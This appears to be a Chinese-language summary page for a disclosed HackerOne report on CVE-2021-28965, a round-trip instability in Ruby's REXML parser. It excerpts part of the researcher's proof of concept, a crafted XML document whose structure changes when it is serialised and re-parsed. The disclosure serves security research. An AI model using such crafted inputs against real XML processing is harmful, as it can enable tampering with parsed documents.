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地图 / Round-trip instability in REXML

Round-trip instability in REXML

其他弱点 / Unlabeled / #1104077

厂商
Ruby
严重程度
低危
赏金
—
弱点
Unlabeled
研究员
@jupenur
披露日期
2021-04-15
资产
—
CVE
CVE-2021-28965

该报告还没有中文解读。

原文摘录

摘自原文(2118 字符中的一小部分)
**Submitted previously via email to [email protected] due to REXML not being listed under in-scope assets here. Explicitly requested by @hsbt to re-submit through HackerOne.**
原文中的代码
require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
  <Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + …

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Ruby 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @jupenur · 版权归作者与 Ruby 所有

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